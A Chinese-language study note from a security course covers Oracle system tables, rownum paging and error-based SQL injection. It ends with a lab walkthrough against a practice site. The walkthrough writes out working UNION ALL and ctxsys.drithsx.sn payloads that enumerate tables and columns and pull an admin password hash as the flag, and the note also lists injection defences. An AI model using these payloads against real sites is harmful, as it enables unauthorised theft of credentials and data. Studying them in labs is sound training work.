什么是Oracle数据库?
Oracle 数据库系统,是美国ORACLE公司(甲骨文)提供的以分布式数据库为核心的一组软件产品。Oracle数据库也是一种关系数据库,此数据库体量较大,一般与jsp网站联合
Oracle 系统表
Oracle中内置了大量的系统表(有点类似MySQL中的information_schema数据库),根据不同的权限可读取不同的系统表。可通过读取这些系统表获取我们想要的数据(用户信息、表、字段、数据库信息等)
DBA、ALL、USER、V_$、GV_$、SESSION、INDEX开头的绝大部分都是视图。
DBA_TABLES意为DBA拥有的或可以访问的所有的关系表。
ALL_TABLES意为某一用户拥有的或可以访问的所有的关系表。
USER_TABLES意为某一用户所拥有的所有的关系表。
当某一用户本身就为数据库DBA时,DBA_TABLES与ALL_TABLES等价。
DBA_TABLES >= ALL_TABLES >= USER_TABLES
需要注意的是在ORACLE数据库中大小写是敏感的,而此三表中数据默认都是大写的,所以在进行查询的时候注意小写的数据可能会造成数据无法查到。
Oracle 使用查询语句获取数据时要注意什么?
Oracle 使用查询语句获取数据时需要跟上表名,没有表的情况下可以使用dual,dual是Oracle的虚拟表,只是用来构成select的语法规则。
Oracle数据类型要注意的问题?
Oracle的数据类型是强匹配的(MYSQL有弱匹配),所以在Oracle进行类似UNION查询数据时候必须让对应位置上的数据类型和表中的列的数据类型是一致的,也可以使用null代替某些无法快速猜测出数据类型的位置。
Oracle的注释?
Oracle的单行注释符号是--,多行注释符号/**/。
Oracle 查询大小写问题?
Oracle 查询字段不区分大小写,但数据区分。
Oracle的基本查询语句有哪些?
select * from all_tables(查出所有的表);
select * from user_tables(查出当前用户的表);
select * from all_tab_columns(查出当前用户的字段);
select * from user_tab_columns(查出当前用户的字段);
select * from v$version(查版本)
Oracle查表里总条数?
select count(*) from all_objects
什么是报错注入?
报错注入是是一种可以忽略数据类型的注入方法,它使数据库出错,然后强行丢出一个致命性错误,这个错误信息里面的内容我们可以控制。
在Oracle报错注入中使用到的函数和语法?
ctxsys.drithsx.sn(用户名,(查询语句))
Oracle 中rownum的用法,是怎么用的?
oracle数据库不支持mysql中limit功能,但可以通过rownum来限制返回的结果集的行数,rownum并不是用户添加的字段,而是oracle系统自动添加的。 对于rownum来说它是oracle系统顺序分配为从查询返回的行的编号,返回的第一行分配的是1,第二行是2,依此类推,这个伪字段可以用于限制查询返回的总行数,而且rownum不能以任何表的名称作为前缀。
rownum对大于某值的查询条件?
如果想找到从第二行记录以后的记录,当使用rownum>2是查不出记录的,原因是由于rownum是一个总是从1开始的伪列,Oracle 认为rownum> n(n>1的自然数)这种条件依旧不成立,所以查不到记录。
想查找到第二行以后的记录可使用子查询方法来解决。注意子查询中的rownum必须要有别名,否则还是不会查出记录来,这是因为rownum不是某个表的列,如果不起别名的话,无法知道rownum是子查询的列还是主查询的列。
例:select * from(select rownum no ,id,name from student) where no>2
rownum对小于某值的查询条件?
rownum对于rownum<n((n>1的自然数)的条件认为是成立的,所以可以找到记录。
例:select rownum,id,name from student where rownum <3
rownum对查询某一区间的方法?
查询rownum在某区间的数据,必须使用子查询。例如要查询rownum在第二行到第三行之间的数据,包括第二行和第三行数据,那么我们只能写以下语句,先让它返回小于等于三的记录行,然后在主查询中判断新的rownum的别名列大于等于二的记录行。但是这样的操作会在大数据集中影响速度。
例: select * from (select rownum no,id,name from student where rownum<=3 ) where no >=2
||在Oracle的用法?
在MySQL中,||表示or的逻辑运算,但在Oracle中,这是字符串连接符。
防止Oracle注入的办法?
①对用户的输入进行校验,可以通过正则表达式,或限制长度;对引号等特殊符号进行转换
②不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取
③不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接
④不要把机密信息直接存放,加密或者hash掉密码和敏感的信息
⑤应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装
Oracle如果显错注入时类型错误了怎么办?
方法1:去转码,用Oracle自带转码函数
(【Oracle】ORA-12704: character set mismatch_温故而知新,可以为师矣-CSDN博客_oracle12704)
方法2:使用报错注入,让编码什么的都拜拜
- Oracle怎么实现Limit功能?
实例:SELECT username FROM (SELECT ROWNUM r, username FROM all_users) WHERE r=1
SELECT ROWNUM r, username FROM all_users
=> ROWNUM r 指的是把ROWNUM的数据取一个别名叫做r
=> ROWNUM 是Oracle数据库得到结果后自动加上去的数字(结果有几条就加几条)
[如果查询结果只有一条数据,那么Rownum只有1]
正在上传…重新上传取消
因为这个查询的结果是一张表,所以可以执行:
SELECT username FROM (SELECT ROWNUM r, username FROM all_users)
(SELECT ROWNUM r, username FROM all_users) = 表
然后输出的username其实就是上图所显示USERNAME的值,然后指定R等于你想要的第几条就可以了。
因为ROWNUM会随着查询结果条数而变化,而子查询里面的ROWNUM不会变,我们用他的别名r来选中它,以免和外面这个查询中的ROWNUM产生冲突
报错注入函数解析:
Dual是一个实表(也有人说它是虚表),为了满足查询语句的结构而产生
1.select from all_tables 查询出所有的表
2。select from user_tables 查询出当前用户的表
3.select all_tab_columns 查询出所有的字段
4.selectfrom user_tab_columns 查询出当前用户的字段
5.select*from v$version 查版本
6.rownum=1 (限制查询返回的总行数为一条)
7.and 字段名字段值 (一个条件,查询时排除符合条件的数据 当字段名中字段值符合数据就排除符合这个条件的数据)
Oracle实现limit功能:1,不等于法;2.别名法(数据库有命名别名 外号)
老师搭建的Oracle平台
http://59.63.200.79:8808/index_x.phphttp://59.63.200.79:8808/index_x.php来看看题吧
http://o1.lab.aqlab.cn/?id=1http://o1.lab.aqlab.cn/?id=1
注意:
Flag就是NF同志的密码(tisp:偷偷告诉你,UPASS字段)
首先首先看看,能否注入
判断字段数
判断字段类型 Oracle的数据库很古板,在不知道表名的情况下,要用dual
换种方式接着来
?id=1 union all select 1,null,null,null from dual
只有第一个位和第四个位是可以会到页面,但无回显信息,但有回显出时间戳
以下是四种解题思路:
1、盲注
2、可以试试报错注入
and 1=ctxsys.drithsx.sn('ORACLE1',(select column_name from (select column_name,rownum n from user_tab_columns where table_name='ADMIN')where n=2))CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1)) 去查询关于主题的对应关键词,然后因为查询失败(应该是这个用户没有创建和查询的权限,默认情况没有创建,爆出未查询到的错误从而爆出查询的内容)
3、尝试去转化类型。文字类型我们不知道
1.varchar转为number,用 to_number(列名):select to_number(t.create_user) from 表名t;
2.number转为varchar,用 to_char(列名):select to_char(t.user_role_id) from 表名 t;
3.date转为varchar类型,用 to_char(列名,想要的日期格式):
select to_char(t.create_date,’yyyy-mm-dd’) 重点内容from 表名 t
4.varchar类型转date,用 to_date(列名,想要的日期格式):insert into 表名 values(1,’lili’,to_date(‘2012-11-11’,’yyyy-mm-dd’));to_nchar 将varchar2转为nvarchar2
http://59.63.200.79:8808/?id=1 and 1=2 union all select 9999,null,to_nchar('a'),null from dual
http://59.63.200.79:8808/?id=1 and 1=2 union all select 9999,null,to_nchar(table_name),null from user_tables
4、通过函数对字符串的处理让他变成数字
切割字符串,转数字然后看回显
?id=1 and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1))
获得表名
?id=1 and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1 and table_name<>'ADMIN'))
获得第二条数据。
?id=1 and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1 and table_name<>'ADMIN' and table_name<>'NEWS'))
获得第三条数据。
?id=1 and 1=ctxsys.drithsx.sn(1,(select column_name from(select column_name,rownum n from user_tab_columns where table_name='ADMIN') where n=1))
获得ADMIN表中的第一个列名UNAME。
?id=1 and 1=ctxsys.drithsx.sn(1,(select column_name from(select column_name,rownum n from user_tab_columns where table_name='ADMIN') where n=2))
获得ADMIN表中的第二个列名UASS。
?id=1 and 1=ctxsys.drithsx.sn(1,(select UPASS from (select UPASS,rownum n from ADMIN)where n=2))
获得正确的flag。
2a61f8bcfe7535eadcfa69eb4406ceb9 (这应该是个MD5)